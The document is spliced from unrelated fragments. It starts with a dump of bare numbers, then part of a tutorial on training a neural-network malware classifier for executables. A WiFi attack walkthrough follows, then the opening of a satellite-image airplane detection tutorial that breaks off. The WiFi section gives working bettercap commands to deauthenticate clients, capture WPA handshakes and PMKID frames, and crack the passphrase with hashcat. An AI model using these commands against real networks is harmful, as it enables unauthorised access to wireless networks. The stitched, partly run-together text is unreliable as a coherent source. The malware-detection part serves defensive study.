0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.333333333333,0.545098039216,0.925490196078,0.41568627451,1.0,0.407843137255,0.596078431373,0.192156862745,0.250980392157,0.0,0.407843137255,0.188235294118,0.149019607843,0.250980392157,0.0,0.392156862745,0.63137254902,0.0,0.0,0.0,0.0,0.313725490196,0.392156862745,0.537254901961,0.145098039216,0.0,0.0,0.0,0.0,0.513725490196,0.925490196078,0.407843137255,0.325490196078,0.337254901961,0.341176470588,0.537254901961,0.396078431373,0.909803921569,0.2,0.858823529412,0.537254901961,0.364705882353,0.988235294118,0.41568627451,0.0078431372549,1.0,0.0823529411765,0.972549019608,0.188235294118,0.250980392157,0.0,0.349019607843,0.513725490196,0.0509803921569,0.0941176470588,0.270588235294,0.250980392157,0.0,1.0,0.513725490196,0.0509803921569,0.109803921569,0.270588235294,0.250980392157,0.870149739583,0.00198567708333,0.00146484375,0.000944010416667,0.000830078125,0.00048828125,0.000162760416667,0.000325520833333,0.000569661458333,0.000130208333333,0.000130208333333,8.13802083333e-05,0.000553385416667,0.000390625,0.000162760416667,0.00048828125,0.000895182291667,8.13802083333e-05,0.000179036458333,8.13802083333e-05,0.00048828125,0.001611328125,0.000162760416667,9.765625e-05,0.000472005208333,0.000146484375,3.25520833333e-05,8.13802083333e-05,0.000341796875,0.000130208333333,3.25520833333e-05,1.62760416667e-05,0.001171875,4.8828125e-05,0.000130208333333,1.62760416667e-05,0.00372721354167,0.000699869791667,6.51041666667e-05,8.13802083333e-05,0.000569661458333,0.0,0.000113932291667,0.000455729166667,0.000146484375,0.000211588541667,0.000358072916667,1.62760416667e-05,0.00208333333333,0.00087890625,0.000504557291667,0.000846354166667,0.000537109375,0.000439453125,0.000358072916667,0.000276692708333,0.000504557291667,0.000423177083333,0.000276692708333,3.25520833333e-05,0.000211588541667,0.000146484375,0.000130208333333,0.0001953125,0.00577799479167,0.00109049479167,0.000227864583333,0.000927734375,0.002294921875,0.000732421875,0.000341796875,0.000244140625,0.000276692708333,0.000211588541667,3.25520833333e-05,0.000146484375,0.00135091145833,0.000341796875,8.13802083333e-05,0.000358072916667,0.00193684895833,0.0009765625,0.0009765625,0.00123697916667,0.000699869791667,0.000260416666667,0.00078125,0.00048828125,0.000504557291667,0.000211588541667,0.000113932291667,0.000260416666667,0.000472005208333,0.00029296875,0.000472005208333,0.000927734375,0.000211588541667,0.00113932291667,0.0001953125,0.000732421875,0.00144856770833,0.00348307291667,0.000358072916667,0.000260416666667,0.00206705729167,0.001171875,0.001513671875,6.51041666667e-05,0.00157877604167,0.000504557291667,0.000927734375,0.00126953125,0.000667317708333,1.62760416667e-05,0.00198567708333,0.00109049479167,0.00255533854167,0.00126953125,0.00109049479167,0.000325520833333,0.000406901041667,0.000325520833333,8.13802083333e-05,3.25520833333e-05,0.000244140625,8.13802083333e-05,4.8828125e-05,0.0,0.000406901041667,0.000602213541667,3.25520833333e-05,0.00174153645833,0.000634765625,0.00068359375,0.000130208333333,0.000130208333333,0.000309244791667,0.00105794270833,0.000244140625,0.003662109375,0.000244140625,0.00245768229167,0.0,1.62760416667e-05,0.002490234375,3.25520833333e-05,1.62760416667e-05,9.765625e-05,0.000504557291667,0.000211588541667,1.62760416667e-05,4.8828125e-05,0.000179036458333,0.0,3.25520833333e-05,3.25520833333e-05,0.000211588541667,0.000162760416667,8.13802083333e-05,0.0,0.000260416666667,0.000260416666667,0.0,4.8828125e-05,0.000602213541667,0.000374348958333,3.25520833333e-05,0.0,9.765625e-05,0.0,0.000113932291667,0.000211588541667,0.000146484375,6.51041666667e-05,0.000667317708333,4.8828125e-05,0.000276692708333,4.8828125e-05,8.13802083333e-05,1.62760416667e-05,0.000227864583333,0.000276692708333,0.000146484375,3.25520833333e-05,0.000276692708333,0.000244140625,8.13802083333e-05,0.0001953125,0.000146484375,9.765625e-05,6.51041666667e-05,0.000358072916667,0.00113932291667,0.000504557291667,0.000504557291667,0.0005859375,0.000813802083333,4.8828125e-05,0.000162760416667,0.000764973958333,0.000244140625,0.000651041666667,0.000309244791667,0.0001953125,0.000667317708333,0.000162760416667,4.8828125e-05,0.0,0.000162760416667,0.000553385416667,1.62760416667e-05,0.000130208333333,0.000146484375,0.000179036458333,0.000276692708333,9.765625e-05,0.000406901041667,0.000162760416667,3.25520833333e-05,0.000211588541667,8.13802083333e-05,1.62760416667e-05,0.000130208333333,8.13802083333e-05,0.000276692708333,0.000504557291667,9.765625e-05,1.62760416667e-05,9.765625e-05,3.25520833333e-05,1.62760416667e-05,0.0,0.00138346354167,0.000732421875,6.51041666667e-05,0.000146484375,0.000341796875,3.25520833333e-05,4.8828125e-05,4.8828125e-05,0.000260416666667,3.25520833333e-05,0.00068359375,0.000960286458333,0.000227864583333,9.765625e-05,0.000244140625,0.000813802083333,0.000179036458333,0.000439453125,0.000341796875,0.000146484375,0.000504557291667,0.000504557291667,9.765625e-05,0.00760091145833,0.0,0.370786516854,0.0112359550562,0.168539325843,0.0,0.0,0.0337078651685,0.0,0.0,0.0,0.303370786517,0.0112359550562,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0561797752809,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0449438202247,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.25,0.25,0.588637653212,0.055703845605

Assuming you have a folder containing malicious samples in the pe-malicious subfolder and clean ones in pe-legit (feel free to give them any name, but the folder names will become the labels associated to each of the samples), you can start the encoding process to a dataset.csv file that our model can use for training with:

ergo encode /path/to/ergo-pe-av /path/to/dataset --output /path/to/dataset.csv

Take a coffee and relax, depending on the size of your dataset and how fast the disk where it’s stored is, this process might take quite some time :)

#An useful property of the vectors

While ergo is encoding our dataset, let’s take a break to discuss an interesting property of these vectors and how to use it.

It’ll be clear to the reader by now that structurally and/or behaviourally similar executables will have similar vectors, where the distance/difference from one vector and another can be measured, for instance, by using the Cosine similarity, defined as:

This metric can be used, among other things, to extract from the dataset (that, let me remind, is a huge set of files you don’t really know much about other if they’re malicious or not) all the samples of a given family given a known “pivot” sample. Say, for instance, that you have a Mirai sample for MIPS, and you want to extract every Mirai variant for any architecture from a dataset of thousands of different unlabeled samples.

The algorithm, that I implemented inside the sum database as the findSimilar “oracle” (a fancy name for stored procedure), is quite simple:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

// Given the vector with id="id", return a list of
// other vectors which cosine similarity to the reference
// one is greater or equal than the threshold.
// Results are given as a dictionary of :
//      "vector_id => similarity"
function findSimilar(id, threshold) {
    var v = records.Find(id);
    if( v.IsNull() == true ) {
        return ctx.Error("Vector " + id + " not found.");
    }

    var results = {};
    records.AllBut(v).forEach(function(record){
        var similarity = v.Cosine(record);
        if( similarity >= threshold ) {
           results[record.ID] = similarity
        }
    });

    return results;
}

Yet quite effective:

#ANN as a black box and Training

Meanwhile, our encoder should have finished doing its job and the resulting dataset.csv file containing all the labeled vectors extracted from each of the samples should be ready to be used for training our model … but what “training our model” actually means? And what’s this “model” in the first place?

The model we’re using is a computational structure called Artificial neural network that we’re training using the Adam optimization algorithm . Online you’ll find very detailed and formal definitions of both, but the bottomline is:

An ANN is a “box” containing hundreds of numerical parameters (the “weights” of the “neurons”, organized in layers) that are multiplied with the inputs (our vectors) and combined to produce an output prediction. The training process consists in feeding the system with the dataset, checking the predictions against the known labels, changing those parameters by a small amount, observing if and how those changes affected the model accuracy and repeating this process for a given number of times (epochs) until the overall performance has reached what we defined as the required minimum.

Credits to nature.com

The main assumption is that there is a numerical correlation among the datapoints in our dataset that we don’t know about but that if known would allow us to divide that dataset into the output classes. What we do is asking this blackbox to ingest the dataset and approximate such function by iteratively tweaking its internal parameters.

Inside the model.py file you’ll find the definition of our ANN, a fully connected network with two hidden layers of 70 neurons each, ReLU as the activation function and a dropout of 30% during training:

1
2
3
4
5
6
7
8
9

n_inputs = 486

return Sequential([
    Dense(70, input_shape=(n_inputs,), activation='relu'),
    Dropout(0.3),
    Dense(70, activation='relu'),
    Dropout(0.3),
    Dense(2, activation='softmax')
])

We can now start the training process with:

ergo train /path/to/ergo-pe-av --dataset /path/to/dataset.csv

Depending on the total amount of vectors in the CSV file, this process might take from a few minutes, to hours, to days. In case you have GPUs on your machine, ergo will automatically use them instead of the CPU cores in order to significantly speed the training up (check this article if you’re curious why).

Once done, you can inspect the model performance statistics with:

ergo view /path/to/ergo-pe-av

This will show the training history, where we can verify that the model accuracy indeed increased over time (in our case, it got to a 97% accuracy around epoch 30), and the ROC curve, which tells us how effectively the model can distinguish between malicious or not (an AUC, or area under the curve, of 0.994, means that the model is pretty good):

Training	ROC/AUC
Moreover, a confusion matrix for each of the training, validation and test sets will also be shown. The diagonal values from the top left (dark red) represent the number of correct predictions, while the other values (pink) are the wrong ones (our model has a 1.4% false positives rate on a test set of ~30000 samples):

Training	Validation	Testing

97% accuracy on such a big dataset is a very interesting result considering how simple our features extraction algorithm is. Many of the misdetections are caused by packers such as UPX (or even just self extracting zip/msi archives) that affect some of the datapoints we’re encoding - adding an unpacking strategy (such as emulating the unpacking stub until the real PE is in memory) and more features (bigger entrypoint vector, dynamic analysis to trace the API being called, imagination is the limit!) is the key to get it to 99% :)

#Conclusions

We can now remove the temporary files:

ergo clean /path/to/ergo-pe-av

Load the model and use it as an API:

ergo serve /path/to/ergo-pe-av --classes "clean, malicious"

And request its classification from a client:

curl -F "x=@/path/to/file.exe" "http://localhost:8080/"

You’ll get a response like the following (here the file being scanned):

The model detecting a sample as malicious with over 99% confidence.

Now you can use the model to scan whatever you want, enjoy! :)

We’ll start with the assumption that your WiFi card supports monitor mode and packet injection (I use an AWUS1900 with this driver), that you have a working hashcat (v4.2.0 or higher is required) installation (ideally with GPU support enabled) for cracking and that you know how to use it properly either for dictionary or brute-force attacks, as no tips on how to tune the masks and/or generate proper dictionaries will be given :)

#Deauth and 4-way Handshake Capture

First thing first, let’s try a classical deauthentication attack: we’ll start bettercap, enable the wifi.recon module with channel hopping and configure the ticker module to refresh our screen every second with an updated view of the nearby WiFi networks (replace wlan0 with the interface you want to use):

1
2
3
4
5
6
7
8
9

sudo bettercap -iface wlan0

# this will set the interface in monitor mode and start channel hopping on all supported frequencies
> wifi.recon on 
# we want our APs sorted by number of clients for this attack, the default sorting would be `rssi asc`
> set wifi.show.sort clients desc
# every second, clear our view and present an updated list of nearby WiFi networks
> set ticker.commands 'clear; wifi.show'
> ticker on

You should now see something like this:

Assuming Casa-2.4 is the network we want to attack, let’s stick to channel 1 in order to avoid jumping to other frequencies and potentially losing useful packets:

1

> wifi.recon.channel 1

What we want to do now is forcing one or more of the client stations (we can see 5 of them for this AP) to disconnect by forging fake deauthentication packets. Once they will reconnect, hopefully, bettercap will capture the needed EAPOL frames of the handshake that we’ll later pass to hashcat for cracking (replace e0:xx:xx:xx:xx:xx with the BSSID of your target AP):

1

> wifi.deauth e0:xx:xx:xx:xx:xx

If everything worked as expected and you’re close enough to the AP and the clients, bettercap will start informing you that complete handshakes have been captured (you can customize the pcap file output by changing the wifi.handshakes.file parameter):

The downsides of this attack are obvious: no clients = no party, moreover, given we need to wait for at least one of them to reconnect, it can potentially take some time.

#4-way Handshake Cracking

Once we have succesfully captured the EAPOL frames required by hashcat in order to crack the PSK, we’ll need to convert the pcap output file to the hccapx format that hashcat can read. In order to do so, we can either use this online service, or install the hashcat-utils ourselves and convert the file locally:

1

/path/to/cap2hccapx /root/bettercap-wifi-handshakes.pcap bettercap-wifi-handshakes.hccapx

You can now proceed to crack the handshake(s) either by dictionary attack or brute-force. For instance, to try all 8-digits combinations:

1

/path/to/hashcat -m2500 -a3 -w3 bettercap-wifi-handshakes.hccapx '?d?d?d?d?d?d?d?d'

And this is it, the evergreen deauthentication attack in all its simplicity, performed with just one tool … let’s get to the fun part now :)

#Client-less PMKID Attack

In 2018 hashcat authors disclosed a new type of attack which not only relies on one single packet, but it doesn’t require any clients to be connected to our target AP or, if clients are connected, it doesn’t require us to send deauth frames to them, there’s no interaction between the attacker and client stations, but just between the attacker and the AP, interaction which, if the router is vulnerable, is almost immediate!

It turns out that a lot of modern routers append an optional field at the end of the first EAPOL frame sent by the AP itself when someone is associating, the so called Robust Security Network, which includes something called PMKID:

As explained in the original post, the PMKID is derived by using data which is known to us:

1

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

Since the “PMK Name” string is constant, we know both the BSSID of the AP and the station and the PMK is the same one obtained from a full 4-way handshake, this is all hashcat needs in order to crack the PSK and recover the passphrase! Here’s where the new wifi.assoc command comes into play: instead of deauthenticating existing clients as shown in the previous attack and waiting for the full handshake to be captured, we’ll simply start to associate with the target AP and listen for an EAPOL frame containing the RSN PMKID data.

Say we’re still listening on channel 1 (since we previously wifi.recon.channel 1), let’s send such association request to every AP and see who’ll respond with useful information:

1
2

# wifi.assoc supports 'all' (or `*`) or a specific BSSID, just like wifi.deauth
> wifi.assoc all

All nearby vulnerable routers (and let me reiterate: a lot of them are vulnerable), will start sending you the PMKID, which bettercap will dump to the usual pcap file:

#PMKID Cracking

We’ll now need to convert the PMKID data in the pcap file we just captured to a hash format that hashcat can understand, for this we’ll use hcxpcaptool:

1

/path/to/hcxpcaptool -z bettercap-wifi-handshakes.pmkid /root/bettercap-wifi-handshakes.pcap

We can now proceed cracking the bettercap-wifi.handshake.pmkid file so generated by using algorithm number 16800:

1

/path/to/hashcat -m16800 -a3 -w3 bettercap-wifi-handshakes.pmkid '?d?d?d?d?d?d?d?d'

#Recap

• Goodbye airmon, airodump, aireplay and whatnots: one tool to rule them all!
• Goodbye Kali VMs on macOS: these modules work natively out of the box, with the default Apple hardware <3
• Full 4-way handshakes are for n00bs: just one association request and most routers will send us enough key material.

Enjoy :)

So a few days ago I started writing what it was initially meant to be just a simple wrapper for the main commands of my training pipelines but quickly became a full-fledged framework and manager for all my Keras based projects.

Today I’m pleased to open source and present project Ergo by showcasing an example use-case: we’ll prototype, train and test a Convolutional Neural Network on top of the PlanesNet raw dataset in order to build an airplane detector for satellite imagery.

This image and the general idea were taken from this project, however the model structure, training algorithm and data preprocessing are different … the point of this post is, as i said, to showcase Ergo with something which is less of a clichè than the handwritten digits recognition problem with the MNIST database.

#Prerequisites

First thing first, you’ll need python3 and pip3, download Ergo’s latest stable release from GitHub, extract it somewhere on your disk and:

cd /path/to/ergosudo pip3 install -r requirements.txtpython3 setup.py buildsudo python3 setup.py install

If you’re interested in visualizing the model and training metrics, you’ll also need to:

sudo apt-get install graphviz python3-tk

This way you’ll have installed all the dependencies, including the default version of TensorFlow which runs on CPU. Since our training dataset will be relatively big and our model moderately complex, we might want to use GPUs instead. In order to do so, make sure you have CUDA 9.0 and cuDNN 7.0 installed and then:

sudo pip3 uninstall tensorflowsudo pip3 install tensorflow-gpu

If everything worked correctly, you’ll be able test your GPU setup, the software versions and what hardware is available with the nvidia-smi and ergo info commands. For example, on my home training server this is the output:

#Airplanes and Satellites

Now it’s time to grab our dataset, download the planesnet.zip file from Kaggle and extract it somewhere on your disk, we will only need the folder filled with PNG files, each one named as 1__20160714_165520_0c59__-118.4316008_33.937964191.png, where the first 1__ or 0__ tells us the labeling (0=no plane, 1=there’s a plane).

We’ll feed our system with the raw images, preprocess them and train a CNN on top of those labeled vectors next.

#Data Preprocessing

Normally we would start a new Ergo project by issuing the ergo create planes-detector command, this would create a new folder named planes-detector with three files in it:

1. prepare.py, that we will customize to preprocess the dataset
2. model.py, where we will customize the model.
3. train.py, for the training algorithm.

These files would be filled with some default code and only a minimum amount of changes would be needed in order to implement our experiment, changes that I already made available on the planes-detector repo on GitHub.

The format that by default Ergo expects the dataset to be is a CSV file, where each row is composed as y,x0,x1,x2,.... (y being the label and xn the scalars in the input vector), but our inputs are images, which have a width, a height and a RGB depth. In order to transform these 3-dimensional tensors into a flat vector that Ergo understands, we need to customize the prepare.py script to do some data preprocessing.

This will loop all the pictures and flatten them to vectors of 1200 elements each (20x20x3), plus the y scalar (the label) at the beginning, and eventually return a panda.DataFrame that Ergo will now digest.

#The Model

This is not a post about how convolutional neural networks (or neural networks at all) work so I won’t go into details about that, chances are that if you have the type of technical problems that Ergo solves, you know already. In short, CNNs can encode visual/spatial patterns from input images and use them as features in order to predict things like how much this image looks like a cat … or a plane :) TLDR: CNNs are great for images.

This is how our model.py looks like:

Other than reshaping the flat input back to the 3-dimensional shape that our convolutional layers understand, two convolutional layers with respectively 32 and 64 filters with a 3x3 kernel are present, plus the usual suspects that help us getting more accurate results after training (MaxPooling2D to pick the best visual features and a couple of Dropout filter layers to avoid overfitting) and the Dense hidden and output layers. Pretty standard model for simple image recognition problems.

#The Training

We can finally start talking about training. The train.py file was almost left unchanged and I only added a few lines to integrate it with TensorBoard.

The data preprocessing, import and training process can now be started with:

ergo train /path/to/planes-detector-project --dataset /path/to/planesnet-pictures

If running on multiple GPUs, you can use the --gpus N optional argument to detemine how many to use, while the --test N and --validation N arguments can be used to partition the dataset (by default both test and validation sets will be 15% of the global one, while the rest will be used for training).

Depending on your hardware configuration this process can take from a few minutes, up to even hours (remember you can monitor it with tensorboard --log_dir=/path/to/planes-detector-project/logs), but eventually you will see something like:

Other than manually inspecting the model yaml file, and some model.stats, you can now: